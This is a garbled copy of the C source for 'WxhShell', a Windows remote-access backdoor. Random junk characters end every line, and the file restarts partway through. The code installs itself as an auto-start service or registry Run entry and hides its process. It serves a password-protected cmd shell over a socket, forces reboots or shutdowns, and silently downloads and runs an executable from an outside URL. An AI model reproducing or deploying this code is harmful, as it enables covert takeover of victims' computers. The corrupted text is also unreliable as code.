    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~9KxvQzt  
    if(Boot(SHUTDOWN)) &^4E)F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ s2<y@  
    else { AT%@T|  
    closesocket(wsh); P<<hg3@  
    ExitThread(0); wpLC,  
    } ;5fq[v^P:  
    break; BRg(h3 ED  
    } xYGB{g]  
  // 获取shell T8ftBIOi  
  case 's': { CkJ\v%JAW  
    CmdShell(wsh); L~])?d  
    closesocket(wsh); ~3u'=u9l  
    ExitThread(0); @a{1vT9b  
    break; P}Ud7Vil;l  
  } v3vQfcxR  
  // 退出 Kq*D_Rh2  
  case 'x': { jK{)gO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &>. w*  
    CloseIt(wsh); aMaFxEW  
    break; &b#O=LF  
    } p+F{iMC  
  // 离开 U%~L){<V[  
  case 'q': { ~A5MzrvIO2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uS%Y$v  
    closesocket(wsh); .jfkOt?2  
    WSACleanup(); @}{~Ofs  
    exit(1); C/w!Y)nB=  
    break; 7fg +WZ  
        } UF)4K3X  
  } G/*0*&fW  
  } P,ox) )+6  
&u_s*  
  // 提示信息 b:,S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nz=X/J6  
} ~HH#aXh*  
  } l$_Yl&!q$  
Ris5) *7  
  return; +H7lkbW  
} Y!8Ik(/~i  
];.H]TIc6  
// shell模块句柄 `zjEs8`'  
int CmdShell(SOCKET sock) UoLvc~n7  
{ 0pSqk/  
STARTUPINFO si; $ 'B0ZL  
ZeroMemory(&si,sizeof(si)); F .(zS(q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4EO,9#0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u H}cvshv  
PROCESS_INFORMATION ProcessInfo; )rTV}Hk  
char cmdline[]="cmd"; W+&w'~M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /GK1}h  
  return 0; jORU+g  
} 1Fado$# 7  
nH#|]gVI  
// 自身启动模式 eRK kHd-  
int StartFromService(void) ccUq!1  
{ ? (&)p~o  
typedef struct }=':)?'-.  
{ O43emL3  
  DWORD ExitStatus; Sc!{ o!9\  
  DWORD PebBaseAddress; c&1:H1#  
  DWORD AffinityMask; !);kjXQS?  
  DWORD BasePriority; 3aL8 gE  
  ULONG UniqueProcessId; >Jl(9)e  
  ULONG InheritedFromUniqueProcessId; Q1fJ`A=  
}   PROCESS_BASIC_INFORMATION; T9@W,0#  
!^dvtv`K  
PROCNTQSIP NtQueryInformationProcess; _]~gp.  
Hoaf3 `n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M(l>^N8W8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @O7hY8",  
4,o|6H  
  HANDLE             hProcess; ZgN )sVJ  
  PROCESS_BASIC_INFORMATION pbi; U*.Wx0QM  
hJavi>374  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <+1d'VQ2  
  if(NULL == hInst ) return 0; JmJ8s hq  
.^<4]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LV4]YC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W0]W[b,:u$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !2)$lM1@J  
}u=-Y'!#]  
  if (!NtQueryInformationProcess) return 0; STDT]3.  
qSRE)C=)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S\"/=|\  
  if(!hProcess) return 0; 2|xNT9RW  
JG%y_ Qy?K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GA, 6G [E  
IXp(Aeb  
  CloseHandle(hProcess); Y)kO"  
_5F8F4QY`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k_p4 f%9  
if(hProcess==NULL) return 0; Zrtyai{8l  
DYJ F6O  
HMODULE hMod; F;5S2:a@Z  
char procName[255]; l$ABOtM@  
unsigned long cbNeeded; -nbo[K  
W0 n/B &C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;++CMTza]  
[whX),3>  
  CloseHandle(hProcess); |/u&%w?W  
6Z:<?_p%7g  
if(strstr(procName,"services")) return 1; // 以服务启动 Sm6hyZFy  
J?d&+mt  
  return 0; // 注册表启动 Rf)lFi  
} x>5"7MR`  
?lg  
// 主模块 Tw|cgB  
int StartWxhshell(LPSTR lpCmdLine) M_wqb'=  
{ K:PPZ|  
  SOCKET wsl; }P8@\2@=T  
BOOL val=TRUE; =Ri'Pr x&  
  int port=0; >7yOu!l  
  struct sockaddr_in door; biTET|U`$  
 xZJ r*  
  if(wscfg.ws_autoins) Install(); [42vO  
t2)S61Vr  
port=atoi(lpCmdLine); 02U5N(s  
=|)W#x9=  
if(port<=0) port=wscfg.ws_port; 0G-M.s}A  
#/u%sX`#y  
  WSADATA data; [ D[&aA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q.s2x0  
Y|eB;Dm1q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5,3Yt~\m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); so~vnSQ!x  
  door.sin_family = AF_INET; f9A^0A?c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *\9JIi 2  
  door.sin_port = htons(port); 8Vcg30_+  
7M~w05tPh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s bf\;_!  
closesocket(wsl); 1 J3h_z6/  
return 1; uWs5 +  
} L B:wo .X  
t@K N+ C  
  if(listen(wsl,2) == INVALID_SOCKET) { xHs8']*\  
closesocket(wsl); %O$4da"y  
return 1; &&Sl0(6x[T  
} ?NV3]vl  
  Wxhshell(wsl); EZ+_*_9  
  WSACleanup(); }Wxu=b  
JGS4r+   
return 0; `4 Jlf!  
Im9^mVe  
} 7O3\  
o<\CA[   
// 以NT服务方式启动 577H{;pW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9UD~$_<\  
{ KMsm2~P  
DWORD   status = 0; %xE9vN;  
  DWORD   specificError = 0xfffffff; Iu`B7UOF  
h=uv4&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /IDfGAE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JFw<Po,MEa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N O|&nqq,>  
  serviceStatus.dwWin32ExitCode     = 0; &%QtUPvr9  
  serviceStatus.dwServiceSpecificExitCode = 0; n:c)R8X]  
  serviceStatus.dwCheckPoint       = 0; q4)8]Y2  
  serviceStatus.dwWaitHint       = 0; +" 4E:9P?  
Vj^<V|=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \IZfp=On  
  if (hServiceStatusHandle==0) return; 3c<). aC0f  
XP Nk#"  
status = GetLastError(); @pueM+(L&  
  if (status!=NO_ERROR) KNtsz[#b  
{ X( m&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s_} 1J,Y  
    serviceStatus.dwCheckPoint       = 0; C^]y iR-U  
    serviceStatus.dwWaitHint       = 0; ^cO^3=  
    serviceStatus.dwWin32ExitCode     = status; W(N@`^  
    serviceStatus.dwServiceSpecificExitCode = specificError; wy3{>A Z(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {}ks[%,_\  
    return; ;IX3w:Aw  
  } @}&o(q1M0  
; qT~81  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bqmOfGM  
  serviceStatus.dwCheckPoint       = 0; [([?+Ouy  
  serviceStatus.dwWaitHint       = 0; nKn,i$sO/.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 31b9pi}nf  
} >SA?lG8f%  
I>X_j)  
// 处理NT服务事件,比如:启动、停止 Ql-RbM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }0Isi G  
{ mgeNH~%m@*  
switch(fdwControl) fDo )~t*~  
{ Z IfhC'  
case SERVICE_CONTROL_STOP: MrIo.  
  serviceStatus.dwWin32ExitCode = 0; 3^kZydZ CN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]wLHe2bE u  
  serviceStatus.dwCheckPoint   = 0; _iBNy   
  serviceStatus.dwWaitHint     = 0; CA[-\>J7y  
  { 3{o5AsVv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =VkbymIZ4y  
  } {4"!~W  
  return; cPe0o'`[  
case SERVICE_CONTROL_PAUSE: v*}r<} j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2T!pFcc  
  break; aML?$_6  
case SERVICE_CONTROL_CONTINUE: (JS1}T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l ,0]iVJ  
  break; _uL{@(  
case SERVICE_CONTROL_INTERROGATE: &CW,qY,sh  
  break; tiJY$YqA  
}; X-Y:)UT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1MI/:vy-  
} (C/2shr 8  
L{xCsJ3d  
// 标准应用程序主函数 WXP=U^5Si  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [h7nOUL!  
{ [pf78  
Y85M$]e,  
// 获取操作系统版本 w[Ee#Yaj.-  
OsIsNt=GetOsVer(); MKSiOM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8"R; axeD  
L 1=HD  
  // 从命令行安装 (i4=}Kn2  
  if(strpbrk(lpCmdLine,"iI")) Install(); !kZ9Ox9^  
U-(2;F)  
  // 下载执行文件 e W&;r&26  
if(wscfg.ws_downexe) { q h;ahX~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h?[3{Z^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5tI4m#y2  
} 0,*clvH\;  
.-t#wXEi  
if(!OsIsNt) { Fi.gf?d  
// 如果时win9x,隐藏进程并且设置为注册表启动 7(B|NYq  
HideProc(); nsWenf  
StartWxhshell(lpCmdLine); `HXP*Bp#  
} ~[bS+ ]d!  
else 490gW?u  
  if(StartFromService()) w7NJ~iy  
  // 以服务方式启动 J+IQvOn_|  
  StartServiceCtrlDispatcher(DispatchTable); WvVHSa4{  
else v2R41*z,  
  // 普通方式启动 $ )ps~  
  StartWxhshell(lpCmdLine); "TB4w2?=  
"5*n(S{ks  
return 0; e R"XXF0u  
} yNVuSj  
X^mv sY  
~ qe9U 0  
jT/SZ|S  
=========================================== *oLAO/)n  
5zXw0_  
/MHqt=jP6  
c]:sk[u  
{H OvJ`tM  
OM5"&ZIZb  
" oK1"8k|Z  
JF7n|o-`?  
#include <stdio.h> \q#s/&b   
#include <string.h> OH~X~n-Z  
#include <windows.h> -AwR$<q'  
#include <winsock2.h> 0&$+ CWSM  
#include <winsvc.h> .])ubK_9  
#include <urlmon.h> b Z c&uq_  
NQS@i'W=g  
#pragma comment (lib, "Ws2_32.lib") ='f<_FD  
#pragma comment (lib, "urlmon.lib") AD$k`Cj  
#W`>vd}  
#define MAX_USER   100 // 最大客户端连接数 m)4s4P57y  
#define BUF_SOCK   200 // sock buffer \z!*)v/{-  
#define KEY_BUFF   255 // 输入 buffer Z M"J5}h  
o_   
#define REBOOT     0   // 重启 :_v/a+\n  
#define SHUTDOWN   1   // 关机 et]- ;(M  
-Si'[5@  
#define DEF_PORT   5000 // 监听端口 F*QZVg+<*X  
/C"dwh"``  
#define REG_LEN     16   // 注册表键长度 +f/G2qY!t  
#define SVC_LEN     80   // NT服务名长度 Ys,}L.  
VQE8hQ37  
// 从dll定义API 5_";EED  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %v=z|d5-3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8XtZF,Du  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sl^i%xJ|l'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^6;n@  
#I[tsly}  
// wxhshell配置信息 ^G'8!!ys  
struct WSCFG { !fF1tW  
  int ws_port;         // 监听端口 I12WOL q  
  char ws_passstr[REG_LEN]; // 口令 !J ")TP=  
  int ws_autoins;       // 安装标记, 1=yes 0=no QUd`({/@:  
  char ws_regname[REG_LEN]; // 注册表键名 01Bs7@"+  
  char ws_svcname[REG_LEN]; // 服务名 un|+YqLf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <;\T e4g[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FEgM4m.(G<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +@D [%l|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E>~DlL%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5]cmDk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J$6tCFD  
b0PqP<{t  
}; (UWP=L1  
bTB/M=M  
// default Wxhshell configuration f?: o  
struct WSCFG wscfg={DEF_PORT, H@0i}!U64  
    "xuhuanlingzhe", B0I(/ 7  
    1, JSX-iHhW  
    "Wxhshell", A-<\?13uW  
    "Wxhshell", u '-4hU  
            "WxhShell Service", u'cM}y&  
    "Wrsky Windows CmdShell Service", @8X)hpHf  
    "Please Input Your Password: ", |@KW~YlE  
  1, D?~`L[}I!}  
  "http://www.wrsky.com/wxhshell.exe", 5 {cbcuG  
  "Wxhshell.exe" x5\C MWW  
    }; {J3;4p-&  
T7vilfO5G  
// 消息定义模块 5Mm><"0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1HYrJb,d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "PH}\Dl=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; In)8AK(Hw  
char *msg_ws_ext="\n\rExit."; ~i 'Ib_%h  
char *msg_ws_end="\n\rQuit."; ]kUF>Wp  
char *msg_ws_boot="\n\rReboot..."; n'a=@/  
char *msg_ws_poff="\n\rShutdown..."; nDx}6}5)  
char *msg_ws_down="\n\rSave to "; 5X>b(`  
rn3GBWC_C  
char *msg_ws_err="\n\rErr!"; /IS_-h7>XS  
char *msg_ws_ok="\n\rOK!"; Z 4,nl  
3u+A/  
char ExeFile[MAX_PATH]; b4%sOn,  
int nUser = 0; 9xL8 ];-  
HANDLE handles[MAX_USER]; Htd-E^/  
int OsIsNt; !}7FC>Cx  
tA'O66.  
SERVICE_STATUS       serviceStatus; &u) R+7bl,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \x D.rBbt  
V'TBt=!=]  
// 函数声明 =\mAvVe  
int Install(void); Sx{vZS3  
int Uninstall(void); #~]S  
int DownloadFile(char *sURL, SOCKET wsh); Gs^hqT;h  
int Boot(int flag); 1FC'DH!  
void HideProc(void);  hUy"XXpr  
int GetOsVer(void); feg  
int Wxhshell(SOCKET wsl); A2 'W  
void TalkWithClient(void *cs); # +OEO  
int CmdShell(SOCKET sock); "b)Y5[nW  
int StartFromService(void); M*ZR+pq,  
int StartWxhshell(LPSTR lpCmdLine); t"[ xx_i  
/'KCW_Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n.+%eYM<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2JY]$$K7  
N]gJ( g  
// 数据结构和表定义 xZ'-G6O "~  
SERVICE_TABLE_ENTRY DispatchTable[] = {')L*  
{ \@IEqm6  
{wscfg.ws_svcname, NTServiceMain}, N.r8dC  
{NULL, NULL} Cu*+E%P9`  
}; dw'&Av' |E  
!h\.w9o[  
// 自我安装 .!#0eAT  
int Install(void) y.h2hv]Bc  
{ OR84/^>  
  char svExeFile[MAX_PATH]; x"/DCcZ  
  HKEY key; Ht >5R  
  strcpy(svExeFile,ExeFile); @E Srj[  
3<Qe'd ^  
// 如果是win9x系统,修改注册表设为自启动  UZJ^ e$N  
if(!OsIsNt) { &Pk #v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <%d/"XNg[D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b)+nNqY|  
  RegCloseKey(key); MR")  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DxuT23. (  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }STTDq4  
  RegCloseKey(key); BQ8vg8e]B  
  return 0; Dn x` !  
    } 5"~F#vt  
  } EJAk'L+nuH  
} .|XG0M  
else { FM{^ND9x  
QMO.Bnek  
// 如果是NT以上系统,安装为系统服务 ~PaEhj&8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 244[a] %&;  
if (schSCManager!=0) n 0/<m.  
{ aMU0BS"   
  SC_HANDLE schService = CreateService h7 r *5E  
  ( asEk 3  
  schSCManager, azK7kM~  
  wscfg.ws_svcname, N.~zQVO#R  
  wscfg.ws_svcdisp, +8xC%eE  
  SERVICE_ALL_ACCESS, pL [JGn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e4h9rF{Cxn  
  SERVICE_AUTO_START, e]9Z]a2  
  SERVICE_ERROR_NORMAL, 2}\/_Y6  
  svExeFile, qV$\E=%fhM  
  NULL, 4D'AAr57  
  NULL, Jn:h;|9w  
  NULL, nrEG4X9  
  NULL, F<V.OFt  
  NULL Uf}u`"$F  
  ); rp&XzMwC4  
  if (schService!=0) C@o8C%o  
  { f (Su  
  CloseServiceHandle(schService); (IXUT6|  
  CloseServiceHandle(schSCManager); m;4qs#qCg?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |KMwK png  
  strcat(svExeFile,wscfg.ws_svcname); ,=IGqw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TSKT6_IJw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .&i_~?1[N  
  RegCloseKey(key); 7 /6 Zp?  
  return 0; u7/]Go44  
    } ljP<WD  
  } xqQLri}  
  CloseServiceHandle(schSCManager); f2LiCe.?  
} 4JO[yN  
} ,f@\Fs~n  
`B$rr4_  
return 1; ;5 p;i 8m  
} VPr`[XPXb  
}'p"q )  
// 自我卸载 d-cW47  
int Uninstall(void) 0FcG;i+  
{ Zmc"  
  HKEY key; Y|!m  
;#?G2AAv  
if(!OsIsNt) { dQs>=(|t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6Z l#$>P  
  RegDeleteValue(key,wscfg.ws_regname); j  Gp&P  
  RegCloseKey(key); ]~:WGo=_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sby(?yg  
  RegDeleteValue(key,wscfg.ws_regname); [G",Yky  
  RegCloseKey(key); v[<x>?i D_  
  return 0; %M,^)lRP  
  } oZ_,WwnE  
} P84= .* >  
} o1Krp '*  
else { YTD&swk  
z"c,TlVN3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6DG%pF,  
if (schSCManager!=0) Jsa]RA  
{ n-u HKBq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vq599M:)V  
  if (schService!=0) m}(M{^\|  
  { USg,=YM  
  if(DeleteService(schService)!=0) { fcTg/EXn  
  CloseServiceHandle(schService); dsn(h5,Q'  
  CloseServiceHandle(schSCManager); tM|/OJ7  
  return 0; ?PYZW5  
  } ?3%r:g4  
  CloseServiceHandle(schService); "%YVAaN  
  } <@$+uZt+  
  CloseServiceHandle(schSCManager); ;\(LovUy6  
} dZY|6  
} ^-Rqlr,F;  
8!{ }WLwb  
return 1; #^}s1 4n  
} ]9-iEQ  
Mh2Zj  
// 从指定url下载文件 o:B?hr'\  
int DownloadFile(char *sURL, SOCKET wsh) "g*`G<W_s  
{ <=Saf.  
  HRESULT hr; #uV J  
char seps[]= "/"; h1)ny1;  
char *token; RBfzti6  
char *file; e8E'X  
char myURL[MAX_PATH]; jNI9 .45y  
char myFILE[MAX_PATH]; =w3cF)&  
RG=i74a  
strcpy(myURL,sURL); _f~$iY  
  token=strtok(myURL,seps); bXeJk]#y  
  while(token!=NULL) KF1Zy;  
  { G?,"AA;  
    file=token; XgyLlp;,O  
  token=strtok(NULL,seps); @ M4m!;rM  
  } ;<*%BtD?  
.mNw^>:cq  
GetCurrentDirectory(MAX_PATH,myFILE); Qp7F3,/#  
strcat(myFILE, "\\"); 6XHM`S  
strcat(myFILE, file); ]9~Il#  
  send(wsh,myFILE,strlen(myFILE),0); #]Lodo9rS\  
send(wsh,"...",3,0); a*t @k*d_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F2MC)&#  
  if(hr==S_OK) .<E7Ey#  
return 0; >4q6  
else Ly/  
return 1; $=X>5B  
N`{ 6<Z0  
} cml~Oepf  
S_ nAO\h  
// 系统电源模块 *VH Wvj  
int Boot(int flag) h4=mGJpm  
{ ujl ?!  
  HANDLE hToken; mfF `K2R  
  TOKEN_PRIVILEGES tkp; y\4/M6  
%iME[| u&  
  if(OsIsNt) { 7<=p*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ji\&?%(B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EiaP1o  
    tkp.PrivilegeCount = 1; ]NtBP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  ;q5|If  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Kv:Rvo  
if(flag==REBOOT) { ay| |yn:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H+5+;`;  
  return 0; BJ\81 R  
} SkC.A ?  
else { wW8[t8%43  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v,8Q9<=O  
  return 0; @v:Eh  
} )pe17T1|  
  } 717G CL@  
  else { X 5X D1[  
if(flag==REBOOT) { CW/<?X<!n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o2hk!#5[4  
  return 0; +V9xKhR;x  
} -j2y#aP  
else { Jf0i$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q9PjQ%  
  return 0; GKOl{och  
} fBh/$    
} `S5::U6E  
Owgy<@C  
return 1; }N).$  
} ?E(X>tH  
,c0LRO   
// win9x进程隐藏模块 Y"r728T`K  
void HideProc(void) IbJl/N%o  
{ lUA-ug! ^  
(fr=N5   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #B6f{D[pI  
  if ( hKernel != NULL ) ]NI CQ9  
  { tJn"$A ^N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P,a9B2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &l!T2PX!  
    FreeLibrary(hKernel); XJKns  
  } vF pKkS343  
,!GoFu  
return; 5XzsqeG|  
} >3ZhPvE-p'  
@V:Y%#%  
// 获取操作系统版本 ,6pGKCUU:y  
int GetOsVer(void) a j$& 9][  
{ `4X.UPJ  
  OSVERSIONINFO winfo; vD:J!|hs(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sf[|8}(  
  GetVersionEx(&winfo); }&v-<qC^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K/*"U*9Kv  
  return 1; sLJ]N0t  
  else rIYO(}Fl  
  return 0; aaw[ia_EL  
} bJ1Nf|3~E  
S w%6-  
// 客户端句柄模块 B:0oT  
int Wxhshell(SOCKET wsl) nnN$?'%~6  
{ {:VK}w  
  SOCKET wsh; Yb_HvP  
  struct sockaddr_in client;  :TR:tf  
  DWORD myID; ys>n%24qP  
_KkaseR  
  while(nUser<MAX_USER) CDXN%~0h  
{ vM!2?8bEFd  
  int nSize=sizeof(client); s]0 J'UN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #1\`!7TO3  
  if(wsh==INVALID_SOCKET) return 1; !L q'o ?  
}7b{ZbDI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r79 P|)\  
if(handles[nUser]==0) S5, u| H  
  closesocket(wsh); 5}Ge  
else ZWGX*F#}P  
  nUser++; pU<J?cU8N  
  } +r//8&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x=L"qC9f/  
8-7Ml3G*  
  return 0; F?]J`F\I  
} [g<gu~  
aG~zMO_)]  
// 关闭 socket 5S!j$_(  
void CloseIt(SOCKET wsh) cJ@fJ|  
{ dY0W=,X$7T  
closesocket(wsh); fp\mBei  
nUser--; -!qjBK,`X  
ExitThread(0); hCF_pt+  
} qxAh8RR;/  
"DGap*=J  
// 客户端请求句柄 ,N hv#U<$  
void TalkWithClient(void *cs) `AvK8Wh<+  
{ lxgfi@@+h  
hEZo{0:b"  
  SOCKET wsh=(SOCKET)cs; bpU> (j  
  char pwd[SVC_LEN]; iHf):J?8 y  
  char cmd[KEY_BUFF]; bV2a2#kj  
char chr[1]; `MCtm(<  
int i,j; \o2l;1~  
bXc*d9]  
  while (nUser < MAX_USER) { N}NKQ]=  
l59 N0G  
if(wscfg.ws_passstr) { xr@;w8X`^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /F"eqMN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v@SHR0  
  //ZeroMemory(pwd,KEY_BUFF); F:#5Edo}A  
      i=0; yS4VgP'W  
  while(i<SVC_LEN) { p^q/u  
fK]%*i_"  
  // 设置超时 \n WbGS(  
  fd_set FdRead; A& B|n!;b  
  struct timeval TimeOut; Zos.WS#  
  FD_ZERO(&FdRead); WjR2:kT  
  FD_SET(wsh,&FdRead); bo<.pK$  
  TimeOut.tv_sec=8; g@s`PBF7`  
  TimeOut.tv_usec=0; D*VO;?D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )CE]s)6+2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /=AFle2(  
(;05=DsO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  q"T?  
  pwd=chr[0]; ??P\v0E  
  if(chr[0]==0xd || chr[0]==0xa) { )16+Pm8  
  pwd=0; ;r6YIS4@  
  break; GhcH"D%-  
  } |Rx+2`6Dp  
  i++; YryMB,\  
    } :%Iv<d<  
,?qJAV~>  
  // 如果是非法用户,关闭 socket [Y.JC'F#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B=^M& {  
} AX6:*aZB  
D$H&^,?N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tmu2G/yi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X6$Cd]MN  
>d"\  
while(1) { KQ6][2-  
KVEc:<|x  
  ZeroMemory(cmd,KEY_BUFF); ThW9=kzQW  
nSQ]qH&4d  
      // 自动支持客户端 telnet标准   >$CNR*}@  
  j=0; Xg1TX_3Ml  
  while(j<KEY_BUFF) { 4Wa$>vz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !blGc$kC  
  cmd[j]=chr[0]; ^qBm%R(  
  if(chr[0]==0xa || chr[0]==0xd) { {c]dz7'?  
  cmd[j]=0; ;*FY+jM  
  break; <6hs<qXqi  
  } ^{0*?,-x  
  j++; UA6 C/  
    } jgXr2JQ<  
e?07o!7[;  
  // 下载文件 3xP<J)S0  
  if(strstr(cmd,"http://")) { H=WB6~8)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AA ~7"2e  
  if(DownloadFile(cmd,wsh)) VJW8%s[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~p{YuW[e  
  else +"WNG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |t3}>+"?z  
  } QFhyidm=]  
  else { (=gqqOOl~  
YbWz!.WPe  
    switch(cmd[0]) { [ 4IqHe  
